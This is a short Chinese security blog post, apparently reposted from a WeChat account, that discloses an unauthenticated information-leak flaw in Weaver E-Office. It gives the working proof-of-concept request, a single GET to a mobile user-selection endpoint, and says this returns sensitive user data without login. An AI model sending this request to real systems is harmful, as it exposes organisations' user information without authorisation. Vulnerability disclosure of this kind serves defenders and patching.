泛微E-Office信息泄露漏洞 [新][梅开二度]

admin 2023年11月11日12:32:57评论10 views字数 332阅读1分6秒阅读模式

免责申明

本文章仅用于信息安全防御技术分享,因用于其他用途而产生不良后果,作者不承担任何法律责任,请严格遵循中华人民共和国相关法律法规,禁止做一切违法犯罪行为。

0x00 前言

昨天不是发了一个新的泛微OA的信息泄露吗,今天梅开二度再来一个

0x01 访问页面
泛微E-Office信息泄露漏洞 [新][梅开二度]
漏洞进行复现
漏洞POC

GET /E-mobile/App/System/UserSelect/index.php HTTP/1.1

还是老规矩,直接low他!

泛微E-Office信息泄露漏洞 [新][梅开二度]

这种我自己搭建的因为没有信息,大家可能看得不是很直观,给大家来个案例!

泛微E-Office信息泄露漏洞 [新][梅开二度]

以上就是泛微的一个未授权信息泄露,直接打payload就可以,不需要登录后台,成功拿到对应敏感信息
0x02 完结

原文始发于微信公众号(进击安全):泛微E-Office信息泄露漏洞 [新][梅开二度]

  • 我的微信
  • 微信扫一扫
  • weinxin
  • 我的微信公众号
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年11月11日12:32:57
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   泛微E-Office信息泄露漏洞 [新][梅开二度]http://cn-sec.com/archives/2197051.html

发表评论

匿名网友 填写信息